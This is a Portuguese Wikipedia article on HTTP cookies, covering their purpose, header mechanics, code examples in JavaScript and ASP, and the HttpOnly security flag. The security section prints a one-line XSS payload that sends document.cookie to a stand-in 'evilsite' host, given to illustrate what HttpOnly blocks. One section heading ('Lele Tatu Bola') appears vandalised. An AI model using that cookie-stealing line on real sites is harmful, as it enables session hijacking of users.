Cookie HTTP

Origem: Wikipédia, a enciclopédia livre.
(Redirecionado de Cookie)
Ir para: navegação, pesquisa
Mergefrom 2.svg
O artigo ou secção Parâmetros de segurança do cookie deverá ser fundido aqui. (desde dezembro de 2013)
(por favor crie o espaço de discussão sobre essa fusão e justifique o motivo aqui; não é necessário criar o espaço em ambas as páginas, crie-o somente uma vez. Perceba que para casos antigos é provável que já haja uma discussão acontecendo na página de discussão de um dos artigos. Cheque ambas (1, 2) e não esqueça de levar toda a discussão quando levar o caso para a central.).
Wikitext.svg
Este artigo ou seção precisa ser wikificado (desde dezembro de 2013).
Por favor ajude a formatar este artigo de acordo com as diretrizes estabelecidas no livro de estilo.
Question book.svg
Este artigo não cita fontes fiáveis e independentes. (desde Dezembro de 2008). Por favor, adicione referências e insira-as corretamente no texto ou no rodapé. Conteúdo sem fontes poderá ser removido.
Encontre fontes: Google (notícias, livros e acadêmico)

Um cookie (termo da língua inglesa que significa, literalmente, "biscoito"), também conhecido como cookie HTTP, cookie web, cookie de navegador, testemunho de conexão ou simplesmente testemunho, é um pequeno pedaço de dados enviado de a partir de um site web e armazenado em um arquivo (ficheiro) de texto criado no computador do usuário enquanto ele está navegando naquele site. Cada vez que o usuário carrega o site web, o navegador envia o cookie de volta ao servidor para notificar o site da atividade prévia do usuário. Os cookies foram projetados para serem um mecanismo confiável para sites web recordarem informações de estado (como itens em um carrinho de compras) ou para registrar a atividade de navegação do usuário (incluindo cliques em determinados botões, login ou registro de quais páginas foram visitadas pelo usuário a meses ou anos).

Outros tipos de cookies realizam funções essenciais na web moderna. Talvez o mais importante, os cookies de autenticação são o método mais comum usado por servidores web para conhecer se o usuário está logado ou não e com qual conta eles estão logados. Sem este mecanismo, o site não saberia se deveria enviar uma página contento informações sigilosas ou solicitar ao usuário que se autenticassem através de login. A segurança de um cookie de autenticação geralmente depende da segurança do site e do navegador web do usuário e se os dados do cookie estão criptografados. Vulnerabilidades de segurança podem permitir que os dados de um cookie sejam lidos por um cracker, usados para ganhar acesso aos dados do usuário ou usados para ganhar acesso (com as credenciais do usuário) ao site web do qual o cookie pertence (veja cross-site scripting e cross-site request forgery para exemplos).

A utilização e implementação de cookies foi um adendo ao HTTP e muito debatida na altura em que surgiu o conceito, introduzido pela Netscape, devido às consequências de guardar informações confidenciais num computador - já que, por vezes, isso pode não ser devidamente seguro, como no caso de uso costumeiro em terminais públicos.

Lele Tatu Bola[editar | editar código-fonte]

  • Quando o servidor deseja activar um cookie no cliente, envia uma linha no cabeçalho HTTP iniciada por Set-Cookie: ...
  • A partir desse momento, consoante as opções especificadas pelo cookie, o cliente irá enviar no seu cabeçalho HTTP dos pedidos uma linha contendo os cookies relevantes, iniciada por Cookie: ....

Entre os parâmetros dos cookies estão: o tempo de vida (a data para o cookie "expirar a validade") e o domínio, ou grupo de páginas a que o cookie se aplica. Por exemplo, é possível fazer com que um cookie seja aplicado apenas a endereços iniciados por http://pt.wikipedia.org/wiki/ de maneira que esse mesmo cookie já não se aplique para http://pt.wikipedia.org/skins/, por exemplo.

Se não especificada a data de validade para o cookie, ele irá expirar assim que o usuário fechar o navegador.

Em JavaScript (embutido no HTML da página acessada), podemos criar um script para manipulá-los. Utilizamos "document.cookie" (sem aspas). Exemplo:

function setCookie(name, value, expires, path, domain, secure) {
        var curCookie = name + "=" + escape(value) +
        ((expires) ? "; expires=" + expires.toGMTString() : "") +
        ((path) ? "; path=" + path : "") +
        ((domain) ? "; domain=" + domain : "") +
        ((secure) ? "; secure" : "");
        document.cookie = curCookie;
}
 
function getCookie(name) {
       var dc = document.cookie;
       var prefix = name + "=";
       var begin = dc.indexOf("; " + prefix);
       if (begin == -1) {
              begin = dc.indexOf(prefix);
              if (begin != 0) return null;
       } else
       begin += 2;
       var end = document.cookie.indexOf(";", begin);
       if (end == -1)
       end = dc.length;
       return unescape(dc.substring(begin + prefix.length, end));
}
 
function deleteCookie(name, path, domain) {
       if (getCookie(name)) {
              document.cookie = name + "=" + 
              ((path) ? "; path=" + path : "") +
              ((domain) ? "; domain=" + domain : "") +
              "; expires=Thu, 01-Jan-70 00:00:01 GMT";
              history.go(0);
       }
}

As funções do script acima:

  • setCookie - Define o valor de um cookie
  • getCookie - Retorna o valor de um cookie
  • deleteCookie - Exclui um cookie. Para excluir um cookie, devemos alterar sua data de expiração para uma data inferior a atual (esta função faz exatamente isso).

Em ASP, podemos utilizar cookies por meio dos objetos Response e Request. Exemplo:

  • Para gravar o cookie Response.Cookies("nomedocookie")
  • Para definir a validade do cookie Response.Cookies("momedocookie").Expires = DateAdd("d", 365, Now())
  • Utilize o DateAdd para adicionar uma data. No exemplo acima, adicionamos 365 dias, o que equivale a um ano.
  • Para definir o domínio Response.Cookies("nomedocookie").Domain = "pt.wikipedia.org"
  • Para definir o grupo de páginas que o cookie se aplica Response.Cookies("nomedocookie").Path = "/wiki"
  • Se definido como "/", todo o sítio poderá acessar o cookie.
  • Se quiser, há como adicionar vários valores ao cookie response.Cookie("nomedocookie")("nomedovalor") = "valor"
  • Para ler o cookie , utilize o objeto Request. Exemplo: variavel = Request.Cookies("nomedocookie")
  • E para ler valores variavel = Request.Cookies("nomedocookie")("nomedovalor")

Em PHP, os cookies são tratados por meio da função setcookie(). Esta deverá vir antes de qualquer dado ser enviado ao navegador, devido ao fato de os cookies fazerem parte do cabeçalho HTTP.


Segurança nos cookies[editar | editar código-fonte]

Flag HTTPOnly[editar | editar código-fonte]

Desenvolvido pela Microsoft para o navegador Internet Explorer 6 SP1 para melhorar a segurança, a flag mitiga as ações de atacantes quando estes tentam realizar sequestro de sessão através de cross-site scripting.

Cookies com a flag HTTPOnly não podem ser acessados diretamente por scripts no lado do cliente, como por exemplo JavaScript. Isso significa que, mesmo havendo uma vulnerabilidade que permite o cross-site scripting e o usuário seja incentivado a clicar em um link que explore essa falha, o navegador não enviará ou disponibilizará o cookie marcado com a flag HTTPOnly. Porém a flag é somente uma das técnicas para mitigar o risco de cross site scripting: se usada sozinha, não poderá eliminar a ameaça por completo. O navegador precisa ter suporte a flag.

Exemplo de resposta http com a flag httponly:[1]

Set-Cookie: MyCookieName=The value of my cookie; path=/; HttpOnly


O script abaixo é um exemplo de script malicioso. Caso seja carregado no contexto da aplicação vulnerável a XSS, os cookies do browser serão enviados para o servidor malicioso:[2]

location.href = 'http://evilsite/?cookies=' + document.cookie;

Se um navegador detecta um cookie com uma flag HTTPOnly e um script tenta ler o cookie (através do document.cookie), como no exemplo acima, o navegador retorna uma string vazia como resultado, prevenindo que um código malicioso envie dados para um website. As informações sensíveis contidas nos cookies, incluindo informações de autenticação, poderão ser coletadas pelo website e utilizadas para sequestro de sessão. Caso o navegador não suporte a flag, a mesma será ignorada e o cookie criado será acessível via script, o qual poderá ser modificado ou roubado por um script malicioso.

A seguir, uma lista de navegadores com suporte a flag:[3]

  • Chrome 24
  • Firefox 18
  • IE 8
  • IE 9
  • IE 10
  • Opera 12.11
  • Safari 6.0.2
  • Chrome 25
  • Chrome 26
  • Firefox 19
  • Firefox 20
  • Firefox 21
  • Opera 12.12
  • Safari 6.0.3
  • Android 4
  • Blackberry 7
  • Chrome Mobile 18
  • IEMobile 9
  • iPhone 5
  • iPhone 6
  • Opera Mobile 12

A versão 2.3 do Android não possui suporte.

Referências

Ligações externas[editar | editar código-fonte]

Ícone de esboço Este artigo sobre redes de computadores é um esboço. Você pode ajudar a Wikipédia expandindo-o.